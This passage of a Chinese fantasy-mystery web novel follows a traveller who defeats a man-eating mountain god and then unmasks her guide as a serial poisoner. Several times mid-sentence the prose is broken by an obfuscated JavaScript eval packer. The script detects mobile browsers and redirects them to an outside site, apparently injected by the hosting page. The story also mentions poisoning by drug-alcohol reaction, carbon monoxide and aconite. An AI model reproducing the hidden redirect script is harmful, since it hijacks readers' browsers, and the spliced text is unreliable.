刹那间，风停雪止，窫窳的毛色暗了几分，放在王何驻背包里的“山海生灵图”也亮了起来，她笑了出声。人不能呼唤祂，那便让神自己来。 神自呼其名，神格确定。“窫窳”的神格彻底从“雪六”之名上剥离，“雪六”之名得到的信仰所提供的力量也消失了。窫窳衰退到刚离开金乌之腹那会儿。千年时光早模糊了人们对祂的记忆，祂的神力几乎不足以支持祂的形体。 王何驻不和窫窳废话，只连滚带爬跑到神像面前。 “你个奸诈之辈！”窫窳喊着，却见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438729|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王何驻举起了锤子。 “先别砸！难道你就不想知道我的故事！我的悲伤我的痛！”窫窳试图以情动之。 “……”王何驻没理他，一锤砸烂了石像的脸。窫窳的那张人面也破碎了。 “我知道不死药的消息！有了它，你可以得到永生！”窫窳试图以利诱之。 “……”王何驻没有犹豫，又是狠狠的一锤，彻底砸碎了石像。窫窳全身化为齑粉。 神骸消散，只留下窫窳的神魂，祂的神魂仍在张牙舞爪，并不是因为自己迎来身体的再度死亡而不甘，只是恨自己输得竟这样狼狈，显得些愚蠢。 “我并不知此行要收的是你，但金乌和我评价过你，你猜祂怎么说你的”。 “祂说，你是个脑子不开窍的笨蛋，几千年过去了，都没想明白自己是怎么死的。” 神魂安静了下来。 王何驻放下锤子，将扶桑叶化玉握在手中，喊道：“日丽中天，明无不察。尔玉扶桑，请听敕令：山海神兽，其名窫窳。有魂无形，不可归乡。吾借此叶，且载其灵。” 那扶桑叶化玉发出金色光芒，飞到半空，将窫窳灵魂收入其中，又落回王何驻摊开的手里。 王何驻收了扶桑叶化玉，终于松了一口气。 “祂好像说了什么‘不死药’。诶，你方才为什么不理祂？”躲避在角落看了一出好戏的赵尔雅走了出来，问道。 “我不确定自己是不是主角，万一这其实是本以‘窫窳’为主角的小说，那我便是里面的反派。‘反派死于话多’，我必须克制住自己的表达欲。”王何驻收拾了一下残局，穿好衣服，背了包，直接往山路方向走。 “你还挺幽默。”赵尔雅笑着跟了上去。 风又悄悄地吹了起来，树影照在地上。路上十分安静，只有脚踩在雪上的嘎吱声，和二人浅浅的呼吸。 她们没有说话，放佛刚刚发生的一切只是幻觉。王何之低着头，赵尔雅跟在后面若有所思。这与她们一贯的行走方式不同，赵尔雅作为向导，之前总是走在前方，为她引路，王何驻只默默跟在她背后。 窫窳被收走了，这里的神庙再不会像之前那样将她困住。 走了几步，王何驻突然停下脚步，站在原地。 “说说你的事吧，查二丫，“王何驻道，“开发商、刘家父子，还有萨满的死。” “……虽然很意外你发现了，但是我想说，‘查’用作姓的时候，读第一声，而不是第二声。”赵尔雅没有反驳，只是纠正起了王何驻的音调。 “诶，你一打岔，我刚刚想好的揭露真相时该使用的超燃台词和酷炫姿势又忘掉了。”王何驻转过身，和赵尔雅面对面站在山路上，路周围是树与枯草，风自她背后吹来。 她看着赵尔雅，嘴角勾起：“我来帮你还原一下发生在这里的一切，如何？查，二，丫。” 这回可算把她的姓念对了。 17. 归乡篇·十七 “从什么时候对你起疑的？嗯，大概是在我们吃铁锅炖那晚。我告诉你，我感冒了，你把我送你的药还给我的时候。”王何驻思索了一下，决定舍弃她早早构思的长篇大论开头，直接从线索讲起。 “那有什么？” “你当初感冒，我送你药的时候，你说‘屋中有一样的，还剩不少。’我给你的，一盒是感冒药，一盒是消炎用的头孢，你将这两盒药还我的时候，感冒药拆了，也用了几包，头孢却没有动。那你屋中，‘还剩不少’的，便是头孢了。你不需要它，因为你已经有这‘一样的药’了 可是那天我从贮木场回家，见你在喝酒，我劝你莫要饮酒，与药物相冲，你说，你对头孢过敏。 一个对头孢过敏的人，为何屋中会储存头孢……” “很简单，我是这里的向导。 我没有你那型号的手机，却依旧会准备三接口的充电线——我会为雇我作向导的游客准备足够的资源，哪怕很多东西并非我所需要的。 一个合格的向导，总是这样，为游客准备好矿泉水、充电线、手电筒、暖贴，以及药品。” “确实，如果仅仅储存了不需要的药品，也无法说明什么。可是，我在刘强壮的屋中，发现了治疗肝病的纸质药盒，以及里面货不对板的药。那泡罩里装着的，是头孢。 刘强壮的父亲酗酒，他的儿子也酗酒，那屋子的地砖缝里，还有些酒瓶的玻璃碎屑，应该是发酒疯砸碎了酒瓶，却没清理干净。他因为过度饮酒，染上了肝病，有人却调换了治疗肝病的药物，将头孢放了进去。 服用了错误的药物后，他又旧性难改饮了酒，酒精与头孢发生双硫仑样反应，却没有得到及时救治，于是，他就这样死了。” “你还扒人屋里地缝看了？”赵尔雅的关注点有些跑偏。 “咳咳，只是随意看两眼。”王何驻有些尴尬，毕竟这种行为确实不够礼貌。 “那又能说明什么。乡里人要收纳药物，随便找个药盒装了，又如何与我扯上了干系。” “因为刘大娘与她的哥哥。如你所说，刘大娘是个酿酒的高手，她酿的药酒，很受欢迎。我在她旧日居住的屋中，发现了乌头，这是一味毒性极大的药物。 嗯，我本来并不能够确认那屋是谁的，但我查了下当初下单民宿时手机内所保留的截图页面，上面有民宿老板的名字。 刘大娘，本名刘好。我在那屋的桌上，找到了蓝色圆珠笔留下的‘好’字，那字迹与刘大娘贴在客厅贩卖的药酒上的酒名很像。我不是这方面的专家，但是她在写‘横’这一笔画的时候，喜欢在开头往下弯个小勾，实在很有特色。 乌头泡酒，大哥送走。刘大娘哥哥的死，恐怕不是所谓的酒精中毒。 他的儿子或许发现了这点，也因此失了性命。” “如你所言，那只是刘大娘与她哥哥的恩怨，而且，刘大娘哥哥因酒精中毒而死一事，也并非我一人所言，村里人，包括刘家人，都这么认为。”赵尔雅反驳道。 “两年前，查奶奶离世，关于屋子的谣言便在雪草村传播开来——有人想买下这屋子，又不愿意支付让主人满意的费用。你作为查奶奶的孙女，父亲杳无音讯，这屋子的所有权便落到了你手里。可是那屋子，最后却卖给了刘大娘。 你协助刘大娘，除掉了放出谣言的刘强壮，你们各取所需，她为了掩盖谋杀自己哥哥的罪行，你则除掉了为难你的人。你住在这里，和原本的生活没什么不同，你帮助刘大娘将屋子改造成民宿，并教会她如何经营。 至于‘酒精中毒’的判断，就关系到这里的‘萨满’了。” 王何驻看了眼赵尔雅，却发现她似乎有点兴奋，面上竟微微熏红。不由在感叹她的心理素质。 “人们总觉得，萨满是懂医术的，他在这个村里，至少在药理方面，具有一定话语权。如果萨满告诉大家，刘大娘的哥哥死于’酒精中毒‘，那么，很少有人会怀疑这个结论。 你和萨满的合作，大概与‘雪神祭’有关，而且早就开始。或许，从你家死了位开发商，将他请去跳神驱邪时，就开始了。所谓的’一氧化碳‘中毒，恐怕不是意外。” “你怎么发现的？”赵尔雅默认了王何驻的陈述。 “如果说那个倒霉的开发商的话，我在钉窗子的时候，留意了一下通风设置，当然，时间过去太久，我没有找到明显的不对劲。但是那屋子，若是将通风口堵了，或者做些其他的手脚，比如利用一下未及时清理的炕洞里的煤块，还是很容易发生意外的。 至于萨满，我说我住刘大娘家，他的第一反应是‘查丫头’家，他知道你是这家民宿幕后的主人。 当我提出‘禹步’的时候，你立刻就反应过来了，这对学习请神舞蹈的‘萨满’来说，并非什么生僻知识，但是对普通人而言，还是比较偏门的，知识会随着人的交际关系扩散。当然，这一切也有可能仅仅因为，你的涉猎非常广泛。 但是，他卖我的圣水， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438730|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和我与你去取锤子的路上，味道一样。这或许是某种致幻的精神类药物，不过它对我没用。” “没用？因为你是背负了某种神奇使命的奇能异士？”赵尔雅想起了她拿玉收神的情形。 “啊，那倒不是。我曾长期服用类似药物，有点抗药性。” “你们利用这种药物，保证窫窳抓走食物的成功率，为‘神祭’献上真正的祭品：活人。 这种荒诞的活动，没有因此叫停，或许因为，大家骨子里还是猎奇的。越是恐怖的传说，越能吸引游客。 萨满以‘圣水’的名义，将那药物卖我，我能理解，你又如何把这掺了药物的水也塞给我。” “看你不顺眼。” “好吧。”王何驻飞快接受了这个理由，她完全能够理解为什么总有人看她不顺眼。“看你不顺眼”，实在是个巧妙的、通用的、完全没有反驳余地的理由。如果有人在夜市小摊打了起来，或许也仅仅是因为眼神交汇刹那彼此产生的不悦。 “那么，你又为何杀死萨满呢？” “因为，‘谁都可以’。” “什么意思？” “很可笑吧，我们的神，其实是个吃人的怪物。 倘若那怪物视众生苦难于不顾，便由我来主持公道。 我想杀死神明，这是我一直以来所谋划的。那把能够弑神的锤子，需要‘无惧无畏，无欲无求’之人，方可举起。 无惧无畏，意味着人凭借强悍的精神对一切约束的超越——规则与秩序无法驯化他。如果在杀死同类时毫不畏惧，那我在认识上已经超越了庸常。 无欲无求，意味着没有目的，有人作恶为求财，有人作恶为图色，有人作恶为争名，当然，也有自称为了至善或者大义却为恶于无形的人。如果我没有任何目的去为世人眼中‘恶’，又如何不是一种无欲无求？ ‘萨满’是维系神明的关键，尽管他是个从未有缘得以觐见神明的骗子。如果杀死他，那就是对这个愚蠢的传说的挑衅。 这一切真是太可笑了，我始终没能举起那把锤子。 你很不一样，你在被神选中的第二天，安然无恙地活着，又救下了其他‘神选者’。 我决定带你去看看那把锤子，将你送往弑神的路。如果你没能拿起那把锤子，我就会在那间屋子里，将你杀死，用你的血为我证道。 不得不承认，你非常敏锐，事情大致如你所推测的那样，只是有些细节，只有亲历者才能知道。” 18. 归乡篇·十八 赵尔雅的记忆里没有父母的面庞。 母亲病逝在她尚在襁褓之时。那天她如往日般哭泣，却发现有许多人同她一起哭，她握紧了拳头，更用力地嚎啕，试图让自己的嗓门压住这屋中其他人的悲泣，可是没人理她，她哭得极累，也未能与谁拼出胜负。 父亲为生计远走他乡前，她也用尽全力去哭了，倒不是她父亲平时待她多好，他俩情谊有多深厚，只是她憎恶这种家人离开的感觉，她感觉自己被抛弃了，心里空落落的。她死死地握住父亲的手腕，指甲在他的手臂上抓出了几道白色的印子，父亲却轻轻将她的手掰开，告诉她，回来给她带好吃的，就消失在她的朦胧泪眼之中。邻人笑话她，又不是一去不回了，怎么使出这般劲。 赵尔雅的记忆里有奶奶的影子。她试图在回忆里找到奶奶时，最先出现的，就是这样的画面：这个平日里不苟言笑的老人跪倒在神像前，低着头，虔诚地许愿。午后的阳光掠她的头发，她惊奇地发现竟有几根在发着光。她疑心这便是神迹。在回家的路上，她把这这奇异的现象告诉奶奶，奶奶听了，却只蹲下，让她帮忙拔掉那几根泛白的银丝。那时候，苍老和忧郁还是能够通过摘下几根白发藏住的。 赵尔雅的奶奶爱讲故事，赵尔雅是听着她的故事长大的。这个老人将道听途说的东西，全改编成了炕上的夜话。在她所述的故事里，角色总是善恶分明的，“好人”总是会得到好报的，再不济，也总有神明出手相助。神明永远不会在决断善恶中出错，所以，一定要坚持做一个“好人”。 年幼的赵尔雅做过最坏的事，是为了哄奶奶开心，在小卖部买了张空白的奖状，往上面填了自己的名字。奶奶将那奖状贴在墙上，有空便端详，终于有天，她发现了她的谎言——学校里发下的奖状，怎么可能写着她的小名。不过那奖状最终还是贴那儿了。 虽然有奶奶的陪伴，赵尔雅却总觉得孤独。她从课本里看到了许多赞美父母的文章，现实落差却在她的心里留下了伤疤。孤独的她将童年听到的故事当作了精神支柱。一个人如果没有办法应对一种消极的情绪，这种情绪可能便就此蛰伏，发展成对其他事物的偏执。长大后的赵尔雅就对善恶有着病态的执着。 什么是善？帮助被伤害的人。什么是恶？伤害他人。 她觉得她的父母坏得很，因为他们伤害了她。 她可以原谅她的母亲，她相信，如果可以选择，母亲绝不会抛弃她的。但她恨她的父亲，她是亲眼看着他离开的。 她觉得她的奶奶也非常恨他。不然她为何养了只大黄狗，却用儿子的名字为命了名？ 不过，她还是努力去做一个“好人”。假如神明要替她和奶奶惩罚将她们丢在家里不闻不问的父亲，她也会替他求情的。如果他还从城里带回了好吃的，她会更快的原谅他。 可惜，神明和爸爸都没有出现在她需要他们的时候。 那下次拜神的时候，就求神明把他带回来吧，就算急着走，也多少吃一碗奶奶做的饺子，再去赶那火车。 雪草村几年间的变化非常大，土地、房子、钱，矛盾总是发生在几样东西上。查奶奶对善良的理解并非一味的吃亏忍让。放任他人伤害自己，可不是用自己的血肉去滋养恶行？她强硬地拒绝了试图以各种花言巧语压低成本骗取她家的地或者房子的人，用扫帚狠狠地抽打那些心怀鬼胎的家伙。 就算面对四五个壮汉毫无惧色，也并不代表一个上了年纪的老太太能够真正威慑到着急攫取利益的人。他们不打她，但可以砸烂她屋中的物件，用物品破碎的声音恫吓这位老人家。赵尔雅就躲在房间里，惊恐地望着那些蛮横的家伙。也许唯一的慰藉就是，她相信这里的神会惩罚他们，正如奶奶的故事里所描绘的那样。奶奶可不会骗她。 那日，有个恶劣的家伙，决心带着自己的规矩，住进她家。他先是假意亲近，提着礼物入了她家的门，又开始商讨收购房屋、统一出售的事。在又一次惹恼老太太后，他将钱甩在桌上，告诉她们，如果日后又想开民宿的话，他可不会像如今这样好商量。 查奶奶独自应付这位难缠的客人，只叫赵尔雅别留在屋里。赵尔雅哭着去请住得最近的邻人帮忙，那邻人家中有两个强壮的成年男子，可他们只轰走了她，还拿查奶奶的寿岁与执拗作玩笑话。 这种时候，只有神明可以救她们吧。她这样想着，跑去了山里。 当她扶着树干，透过树的缝隙，却看到了此生无法忘却的场景。神像中飘出的影子化作怪物，将来此修缮神庙的工人，吞入腹中。她一动不动地站在树后，看着怪物咀嚼吞咽，而自己的同类在尖叫求饶。 原来，我们的神明，是个吃人的怪物啊。 赵尔雅终于明白过来了。 难怪祂总是对她们的祈求置之不理。 什么是善？帮助被伤害的人。可她没有帮助那些素不相识的可怜人，只是怔怔地看着他们化为神明嘴角留下的血。 神明扭头，似乎看到了她，却只是撇了眼，没把她放在眼中。 她在回家的林中道路上，想了许多。她像一个伐木工人，将过去的执着与信仰如砍巨木般伐倒。那状若枝繁叶茂的树干中早爬满了蛀虫。待那树轰然倒地，树叶纷飞后又跌入泥土。她看到了一条幽深的路。那条路通往何方，她不知道，但她听到了自己用脚踩断枝桠的声音。 什么是恶？伤害他人。她将炭灰堆在灶洞里的煤块上，使它在不完全燃烧的情况下闷出夺走人的性命的一氧化碳。 如果那人侥幸没死，赵尔雅或许也不会走向那样糟糕的未来，可他死了，于是，赵尔雅没有了回头的路。 闹事的人又聚在她家中，许是真的想要一个说法，又或者只是想借题发挥，达成他们早先的构想。 赵尔雅请来了“萨满”，“萨满”帮她解了围。 不是因为那些“搞开发的”也相信“萨满”，被萨满“感化”了，而是因为，他们都是试图挖掘雪草村商业价值的人。他们总有能达成一致意见的地方。 “萨满”苦恼如何让雪草村的“神祭”长久举办下去，好让自己不至于失去工作，赵尔雅告诉他，很简单，向神明献上祂想要的祭品。 这一切没什么大不了的，毕竟，众生平等。既然大家都是平等的，那么猪可以，牛可以，羊可以，人也可以。 赵尔雅的邻居，是一户姓刘的人家。大哥总殴打他那死了丈夫，又没能守住财产，只孤零零回了家的妹妹。 这个名为刘好的女人，勤快，能干，却没什么好运。她或许也曾无数次在看不见的地方双手合十，恳求神明帮助她，但是她不会得到什么回应。 她的大哥逢人就说她坏话，在他人眼中，他大哥也绝对算不上什么好人，只是人们没必要为了维护她，去顶撞一个随时随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两年后，赵尔雅从大学毕业，回到雪草村。她们默契地生活在一起，就像刘大娘将侄子的药盒中塞入头孢，赵尔雅在他上山前请他喝酒那样默契。 “萨满”是个矛盾的人，他有时候很坏，有时候却很好。为了让雪神祭办下去，他会将致幻药物哄骗“神选者”喝下，又偶尔良心发现，悄悄地引人去救下那些倒霉蛋。当然，如果事情的发展是一尸两命，其实也没什么大不了的。也许普通的良心就是这样，时有时无。 赵尔雅从来没有忘记她站在树后看着那名为“神”的怪物吞咽人类时下定的决心——弑神。她自顾自地进行着“无惧无畏，无欲无求”的推演，试图超越一切苦难与不甘。“萨满”成了这条路上最重要的台阶。 她将他亲手制作的致幻药物灌入他的嘴里，把他吓出了癫痫。他被自己的呕吐物呛死。 至少在除去神明的路上，她又前进了一步。这个“神明”大概不会知道，祂回避着自己的真名，顺势躲在“雪六”“风二”的传说之后，其实是赵尔雅在那群专家敲定IP后推波助澜设下的陷阱。如果把他的信仰捆绑成有形之物，是否知道祂的真名与来历，又如何呢？祂，雪神，还有这个雪神祭，就像一块块积木堆砌起来的房屋，抽走一块，便会坍塌。 她快够上那把锤子了，只差最后一步。 19. 归乡篇·十九 “所以，那些‘雪六’与‘风二’的传说，有你的手笔？” “对。为了除掉吃人的‘神’。我尝试过很多方法。祂没有名字，不知来历，除了那把谁也举不起来的锤子，就没有任何弱点。做旅游开发的专家团队选择将这里的神塑造为‘雪六’，拿神话故事作卖点，我便将我所知道的祂的特质融入“雪六”传说，衍生出所谓恶兽‘风二’的故事。故事只需要开个头，自有无数人去填补，我只需要静观其变。 那个神不愿意面对真实的自己，在捕捉到人们信仰的变化后，选择与新塑的故事融为一体。躲在这个形象背后，获得所谓的信仰。 这是我对他放出的假饵。 祂演绎着这个多方虚构的形象，也被这个虚构的形象再塑。当他选择与二次虚构形象融合时，虚构形象为祂安上了弱点，就算无法直接敲碎祂，也能通过破坏这个虚构形象的信仰重创祂。 ‘萨满之死’是必须执行的一环，因为‘萨满’是维系着这个虚构衍生形象的信仰的关键。” 王何驻沉默地听着。不得不承认，她能够收回窫窳，有着赵尔雅的“功劳”。她是个合格的引路人，用数年铺垫，将路上的障碍全部清除，虽然这个过程非常残酷。 “我曾试图引过许多自认‘无惧无畏、无欲无求‘的人去取那把锤子。 愁肠百结的人举不起它，乐天知命的人举不起它，醉酒的人能够将它短暂提起，不过几厘米的距离，又重重落下。 哪怕是我，也无法将它举起，你究竟有什么特殊之处，能够轻而易举地挥舞弑神的武器？ 难道世界就如此不讲道理，只挑一个‘命定之人’，赐予她无上的好运、通天的神力，让她拿起别人无法拿起的武器，战胜他人无法战胜的怪物，来衬托她的卓尔不凡？ 如果仅仅是因为这个理由，又叫我如何甘心？”赵尔雅盯着王何驻，她觉得这个世界荒诞极了。 “我没有什么过人之处。查二丫，还是叫你赵尔雅吧。我没有超越人、成为神、化为兽的想法。我确实有无法坦言的秘密，但那并不涉及什么真理或者神秘学。”王何驻回答得很诚恳。 “既然你没有任何倚仗，如何能够只身一人在这荒郊野岭，道破我的‘罪行’。站在你面前的人，可背负了许多人命债务。莫非你的脑袋其实缺根筋，没有思考那么多？ 我可能会为了掩盖自己的所犯下的命案，将你杀死哦。”赵尔雅有点乐不可支。 “你没办法杀死我的。” “哦？你是精通人性的大师，觉得我此刻心愿已了，没了执念，准备放下屠刀，就此收手？ 还是你留有后手，藏了点秘密武器，确信自己死不了？也对，你刚刚终结了那神明的性命。 别告诉我你试图用深刻的道理或者真挚的情谊感化我……” 王何驻摇头。 “难道你并非人类……”赵尔雅收图将她开除人籍。 “因为我报警了。”王何驻的回答简单直白。 如果王何驻是快意恩仇的武侠小说的主角，她可能会和赵尔雅展开激烈的战斗，然后让她就地伏诛；如果王何驻是大格局权谋类小说主角，她可能会与赵尔雅推心置腹，引为至交，让她成为自己手下的快刀；如果王何驻是试图探讨人性幽微的哲学类故事书的主角，她可能会和赵尔雅开展辩经，用更具有说服力的道理在意念上战胜她；如果王何驻是暗黑风格的病态文学中的人物，她可能会仰天大笑，告诉她，我手下的命案可比你多得多，你这又算什么？ 可她只是个接受过教育的普通守法公民，所以，她选择报警。 “……”赵尔雅被这理直气壮的回答沉默了，过了好一会儿，方才反应过来，问道，“你手机没有信号，怎么报的警？” “我借了刘大娘的手机。” “她居然……” “在和你上山之前，我找了她，将我的发现全都告诉了她。她说，报警吧，她受够了。也许她也不会想到，刘强壮其实并没有发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438732|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌头的事，一切只是你对她的算计。” 赵尔雅突然哭了。在她超越人类的逻辑里，竟受不住这个平淡无奇的事实：她将一个保受折磨的人引入了另一个深渊。这个世界上有很多无法无法控制的情绪，就像她无聊的时候，总会克制不住地想起年幼时奶奶为她讲述的、在如今的她看来格外可笑的、善恶分明的故事那样。她缓缓蹲下，双手抱膝，泣不成声。 王何驻犹豫了一下，摸了摸木柄收在袖中、锤头用衣服兜作遮掩的锤子——怎么可能真的一点后手都不给自己留，她一直提防着赵尔雅。她看到她哭得极伤心，还是叹了口气，走到赵尔雅身边，将锤子递给她。 赵尔雅看着递过来的锤子，抬起了头，透过泪眼望她，复而又将视线转移到王何驻手里的锤子上，问道：“你在试图羞辱我吗？” 王何驻没有说话，也没有收回那锤子，只保持着递交的姿势。 赵尔雅犹豫了一会儿，还是颤抖着把手放在了锤柄上。这一次，她拿起了它。 “因为那家伙不在，诅咒也消失了？” “祂还在，我会将它送到合适的地方。诅咒没有消失，只是你对那句话的理解变了，”王何驻回道，“那家伙随口说的八个字，如何把它当回事。” “……你怎么还敢往我手里递武器的。” “火车不让带这种东西，你帮我还一下。” “……” 待赵尔雅平复了情绪，她两一前一后往山下走。王何驻在前，红色的围巾被风吹起，一如她来时那样。 她俩下山后，发现警车就停在刘大娘家门口，邻人聚在周围，往她家张望，眼神怪异，议论着或真或假的传言。有人摆出一副未卜先知的姿态，自称早就发现了这家人的不对，也有人表示，刘强壮父子属实算不得无辜。 “你是被神选中的人。”穿过看热闹的人群，坐上警车前，赵尔雅对王何驻说，她语气笃定。 “是我选择了祂。”王何驻面无表情地回道。 20. 归乡篇·二十 “摆个更高大威猛点的pose吧！”小孩站在一身土匪装扮的男人膝前，双手比划出一个轮廓，他的眼睛亮晶晶的。 这个扮演土匪的员工本来举着道具刀，听了他的话，又无奈地把手往上抬了抬。 “表情再凶狠一点，要威风！” 员工努力地皱着眉，露出牙齿，作出凶神恶煞的模样。 “等等，先别把刀放下，刚刚那张照没拍好。”小孩看到员工又要垂下手，恳求道。 王何驻扎在在游客堆里，研究着桌上的仿真老虎模型。 她不久前才从局子出来，为发生在雪草村的案子作了证人。收拾好行李后，她来到这个位于林场内的小景点，向从事旅游行业的员工道了谢。那日取了锤子下山后，她特地找了这里的工作人员，向他询问了关于此地旅游开发过程中的琐事。将赵尔雅当作单一信息源并不可靠，她是个极聪明的人，会在真实叙述中掺杂一些误导性信息。 这是一个介绍雪原林海中的山匪文化的人工造景，大人会觉得有些无聊，因为这里的布置实在粗制滥造，比如这个桌上的老虎模型，和真实老虎的样子大概差了一个猫科；小孩子却很喜欢，抢着和里头的摆件合照。 带团队的导游为游客讲述着这些被生活逼迫到落草为寇，奉行侠肝义胆却害人性命，紧要关头又选择了保卫家国的人的故事，王何驻蹭着听了几句。 离开狭窄的“土匪窝”，她坐上了通往雪落村的雪地摩托，又乘着巴士中转返回到她来时的枢纽城市，去赶夜晚的火车。 回到市里，日头偏西，王何驻随便选了家地下室改造的小饭馆，点了份锅包肉。猪里脊肉裹了面糊，放在油锅里，炸得金黄酥脆，外头浇了酸酸甜甜的酱汁，放了些绿色的葱丝，用白瓷盘盛作一碗，端上了桌。咬一口下去，外头的脆皮嘎吱嘎吱的，里头的肉质很细腻，肉与脆皮间的面糊渗了油，十分暖糯。老板坐在另一张桌上，一边和客人说笑，一边包着饺子，她也没有忘记王何驻这个来自远方的客人，一直问她，这菜做得好不好吃，得到王何驻肯定的答复后，非要送她一个冻梨。王何驻才发现，原来冻梨是要泡在水里，待泡软了，剥皮吃的。按照这种方式吃的冻梨汁水饱满，入口冰凉，还有种独特的甜味。 铁路大桥跨越大江，宛若巨龙，江水冻成了冰，许多人挤在那拍照。王何驻没有去凑热闹，只拉着行李箱，走过这熙熙攘攘的人群。 离火车出发还有一些时间，她去看了冰雕，这种雕塑的原材料取自她方才路过的江面，选冰工作从入冬开始，采冰、凿冰，将冰块运到广场上，全国各地的艺术家应邀赶来，将切割下来的冰块制作成晶莹剔透的艺术品，形状或模仿自然、或追求自然、或超越自然。一旦到了三月，这些被精心雕琢的艺术品便面目全非了，出于安全考虑，它们会被摧毁，不过手艺与审美仍在人类社会传承，这里人每年冬天都要刻冰塑雪。 王何驻在冰雕群中看到了一个名为《金乌》的雕塑，那冰刻制成的鸟其实更像孔雀或者凤凰，姿态优雅，和王何驻家里那位没太多相似之处。它仰着头，做出振翅欲飞的造型，冰制的羽毛在夕阳下折射出落日的余晖，王何驻取出怀中疯狂掉电的手机，用所剩不多点给它照了张相。 天也很快黑了，灯光亮了起来，轻快悠扬的音乐吸引了她，她发现有人坐在广场的长凳上拉着手风琴。王何驻有些累了，便走到那人旁边坐下。 她没有说话，只听着那人拉琴，总觉得这歌有些耳熟。 “你觉得我演奏得怎么样？”那人突然搭话。 “我不懂音乐。” “没事，我也不懂。” “……那你演奏得还挺流畅。” “我就会这一首，《喀秋莎》，翻来覆去拉。但我完全看不懂什么五线谱。” 那人又将《喀秋莎》拉了一遍，那歌声有点忧伤。 “变了好多啊。”那人拉完，突然感慨道。 “什么？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438733|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “整个世界。” 沉默了一会儿，那人又开始拉琴，果然还是《喀秋莎》。 “你不会想着换个曲子吗？”王何驻问道。 “我不想离开我熟悉的事物。你来这里，是为了旅游吗？” “旅游。我在全国各地旅游。” “那你有什么旅游的见闻吗？” 王何驻对他讲述了一个故事，一个人离开家乡，出走异乡，回来的时候，大家都不认识他了，他找了面镜子，发现自己再也不是从前的模样。 “你这个故事有点普通。” 王何驻不甘心，又和他讲了一个故事，一个神，因为死亡，离开了人类，被巫师复活后，大家都害怕祂，祂来到湖泊旁，在水中看到了自己的倒影，祂发现自己变成了怪物。 “你知道出走有多可怕，又为何一个人四处奔波？” 王何驻没有说话。 “抱歉，打扰一下，你看到一个包了吗？我刚刚坐在这里，却把包落下了。”一位中年男子打断了沉默。他皮肤皴裂，面有病色。 王何驻站起身，找了一下，在座椅底下找到了一个黑色皮夹，那皮夹里的身份证掉了出来，她捡起来，一起还给那男子，却发现身份证上的名字叫“查大山”，她忍不住念了出来。 “你居然没叫错我的姓。我这姓可意思，我随我妈姓的。” “你是要回家吗？” “对。我已经很久没有回家了，在外头打工，害了病，不敢告诉家人，总想着多赚点钱，治好了再回去。” “大山，东西找着了没？找着就回家了！”另一个男人在在叫他，他身上也背着大包小包，应该是同乡。 “来了。”他向那男人喊道，拿着皮夹离开了。 王何驻看着那人远去的身影，有些怅然。 “我也要去赶火车了，时间差不多了。再见。”王何驻对那个拉手风琴的人说。 “再见。”他的手按在琴键上，对她说道。 21. 间章·一 王何驻第一次见到金乌，是在回租房的路上。 那天她也是脑子一抽，就往绿化带里踢了块小石子，却听到一声“啊——”。她觉察出奇怪，又往里头踢了块石头，草丛里传来“咯咯哒咯咯哒”的动静。她好奇地跨过护栏，鞋踩进淤泥中，双手扒开灌木丛，发现了趴在地上口吐白沫的黑色怪鸟，和一只鸡。 那鸡看她走来，拔腿就跑，留下惨兮兮的黑鸟。 于是王何驻把那个昏迷不醒的黑鸟捡回了家。 她为它擦了碘伏，准备等它养好伤，就给它放生了。 那鸟醒来后，最初是很正常的，整天蹲在纸箱里喝水。王何驻给它放食物时，他也只是从鼻子里哼出不屑的轻嗤。 “人类啊——” 一日傍晚，王何驻从学校回家，正在玄关处换鞋，发现那怪鸟站在餐桌的台灯上，张开双翅，对她说话。 